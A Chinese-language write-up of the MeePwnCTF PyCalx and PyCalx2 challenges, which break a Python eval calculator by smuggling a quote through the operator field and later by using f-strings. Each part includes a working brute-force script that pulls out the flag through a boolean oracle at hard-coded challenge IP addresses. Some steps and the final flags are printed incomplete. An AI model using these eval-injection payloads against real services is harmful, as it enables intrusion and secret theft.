点图有小惊喜哦~
PyCalx1
题目信息
This code is supposed to be unexploitable :/ another pyjail?
Notice: The flag may contain non alphabetic characters (but still printable)
Please login to submit flag
进去之后是这个样子的
点击Source我们可以查看这个程序的源码
代码调试
仔细阅读了一下代码,这是一个有限制的Python表达式运算的东西。
涉及的变量包括source,op,value1,value2,FLAG四个。
- source,若值为1则显示源代码。
- value1,运算的第一个变量。
- value2,运算的第二个变量。
- op,运算符。
- FLAG,读取FLAG,存在变量里面。
这里还通过两个函数分别对运算变量和运算符进行了限制。
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('
Invalid value
')
sys.exit(0)
return val
get_value()这个函数首先是限制变量的有效长度为64,然后还通过黑名单(,),[,],\,"限制变量字符。
def get_op(val):
val = str(val)[:2]
list_ops = ['+', '-', '/', '*', '=', '!']
if val == '' or val[0] not in list_ops:
print('
Invalid op
')
sys.exit(0)
return val
get_op()这个函数首先是限制运算符的有效长度为2,然后通过黑名单+,-,/,*,=,!限制了运算符的第一个字节,第二个字节没做限制。
通过上面的函数对变量过滤后,这里就是对输入的内容转化为字符串拼接成为calc_eval表达式
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
......
......
try:
result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print("Invalid") # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")
最后通过eval()执行calc_eval表达式,返回结果转化为字符串
如果字符串满足数字,True,Flase这三种形式,就在页面输出,否则输出Invalid错误提示
Bool回显型注入
为了便于分析,把代码精简成本地调试,主要是调试eval()中的语句。
# coding=utf-8
import sys
if __name__ == "__main__":
FLAG = open('index.php', 'r').read()
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('
Invalid value
')
sys.exit(0)
return val
def get_op(val):
val = str(val)[:2]
list_ops = ['+', '-', '/', '*', '=', '!']
if val == '' or val[0] not in list_ops:
print('
Invalid op
')
sys.exit(0)
return val
op = "+"
value1 = "123"
value2 = " 123"
source = 'error_reporting'
op = get_op(op)
value1 = get_value(value1)
value2 = get_value(value2)
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
print calc_eval
result = str(eval(calc_eval))
print result
**目标清晰:**Flag已经存在了变量FLAG里面,绕过过滤,注入表达式到eval()里面,执行代码,获取Flag。
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
repr()这个函数很关键
repr() 函数将对象转化为供解释器读取的形式,当传入不是数字是字符串的时候,会引入引号',效果如下
因为get_value过滤的存在,这里无法直接通过value1,value2引入单引号进行单引号逃逸。
但是因为get_op仅仅过滤验证了第一位字符,因此我们可以在第二位引入单引号。 value1=a,value2=a,op=+'
' a ' + ' ' a '
这时候进入eval肯定会因为语法报错,这时候修改value2=#a,注释后面的单引号
' a ' + ' ' #a '
等价于
' a ' + ' '
那么同时也逃逸了单引号,在#号的前面我们已经可以注入其他运算符了
value1=a,value2=and 1#a,op=+'
a ' + ' ' and 1#a '
等价于,先加法后与运算
' a ' + ' ' and 1
逃逸出了单引号,但是仍然无法直接打印出Flag,因为页面返回必须满足数字,True,Flase这三种形式才有回显,这里可以确定是通过Bool返回值对Flag进行猜解。
首先想到的是这种形式 value2=and ord(Flag[1]) ==100 #
' a ' + ' ' and ord(Flag[1]) ==100 #'
但过滤的函数get_value导致无法调用有用的ord()函数,同样无法使用[index],和类似的。
这时候就要用到前面的source变量了
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0
if source == '1':
print('
' + escape(str(open(__file__, 'r').read())) + '')
source赋值使用后仍然存在,是我们的可控点,且无过滤函数,我们可以通过它配合in进行猜解Flag,猜解成功页面返回True,错误则返回Flase
value1=a,value2=and True and source in FLAG#,op=+',source=xxx
'a' + ' ' and True and source in FLAG#'
EXP
这里我们直接编写脚本,通过GET参数source修改暴力猜解FLAG
# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
Flag = "MeePwnCTF{"
url = "http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(
Flag)
for i in range(100):
for x in reg_str:
url_t = url + quote(x)
print url_t
html = requests.get(url_t).content
if '''True
>>>''' in html:
url = url_t
Flag = Flag + x
print Flag
break
最后Flag为
MeePwnCTF
PyCalx2
题目信息
You should solve PyCalx first.
兄弟题目,和上一题的几乎没做改动,只是又增加了对op的过滤,引号'已经不能使用了
op = get_op(get_value(arguments['op'].value))
根据上一题的Flag,可以知道版本是python3.6,这里需要使用F-strings.
在python3.6.2版本中,PEP 498 提出一种新型字符串格式化机制,被称为“字符串插值”或者更常见的一种称呼是F-strings
F-strings提供了一种明确且方便的方式将python表达式嵌入到字符串中来进行格式化。
使用F-strings我们不用逃逸单引号,因为它支持表达式。
首先想到的三元表达式,但是Python中并没有,emm........,使用同功能的if else
value1 = True,value2 = ,op = +f
执行的代码为:
'True'+f''
如果匹配成功返回True,匹配失败返回True233
EXP
直接修改前一个题的脚本
# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
Flag = "MeePwnCTF{"
url = "http://206.189.223.3/cgi-bin/server.py?value1=True&op=%2Bf&value2=%7Bsource*0+if+source+in+FLAG+else+233%7D&source=" + quote(
Flag)
for i in range(100):
for x in reg_str:
url_t = url + quote(x)
print url_t
html = requests.get(url_t).content
if '''True
>>>''' in html:
url = url_t
Flag = Flag + x
print Flag
break
Flag:MeePwnCTF
领取专属 10元无门槛券
私享最新 技术干货